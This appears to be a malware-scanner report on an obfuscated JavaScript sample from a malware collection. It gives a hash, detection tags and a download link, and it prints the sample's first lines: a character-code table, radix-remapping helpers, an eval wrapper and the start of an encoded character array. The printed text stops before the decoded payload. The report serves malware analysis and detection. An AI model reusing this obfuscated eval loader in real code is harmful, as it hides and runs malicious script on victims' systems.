Suspicious ^80% javascript-malware-collection Download

e0b06600904ced45d25616b90008bdfb6376a4e3490c70404b7b3ff771da6f82.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256e0b06600904ced45d25616b90008bdfb6376a4e3490c70404b7b3ff771da6f82

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var WrvwrWKGrQKjc=[];for(OMlSLhw=(-657+657)/927;OMlSLhw<(91013+635)/716;OMlSLhw++){WrvwrWKGrQKjc[OMlSLhw]=String.fromCharCode(OMlSLhw)}function GbNPn(WRIzzAokQoS,jGfdOrDvfIuDv,oqwSYXDQ){nRRU=parseInt(WRIzzAokQoS,jGfdOrDvfIuDv);QJIYw=nRRU.toString(oqwSYXDQ);return QJIYw;}function GpXsYdiPyCjcxwO(bVhBFXIFVpFoQWoqI){eval(bVhBFXIFVpFoQWoqI)}
2function ZsrdCaLyTZsBgJzutXljOTPKZpCUFjvSsKJEFBSgKgRcJKzROPFbzq(RKpnbADKryuUE,uyAxjbLvlyaJHY){ return WrvwrWKGrQKjc[GbNPn(RKpnbADKryuUE[uyAxjbLvlyaJHY],(9570+170)/974,(6217+983)/720)];}
3function hVjptyq(xTvOhgTbxFSoWBDdtqMRTHERJkiObHWMlgay) {return !isNaN(parseFloat(xTvOhgTbxFSoWBDdtqMRTHERJkiObHWMlgay)) && isFinite(xTvOhgTbxFSoWBDdtqMRTHERJkiObHWMlgay);}
4function adbqphOWFPp(YZBkaOnW,ohMYvN){return YZBkaOnW.split(ohMYvN)}
5var Z=[];Z.push("13");Z.push("10");Z.push("13");Z.push("10");Z.push("118");Z.push("97");Z.push("114");Z.push("32");Z. …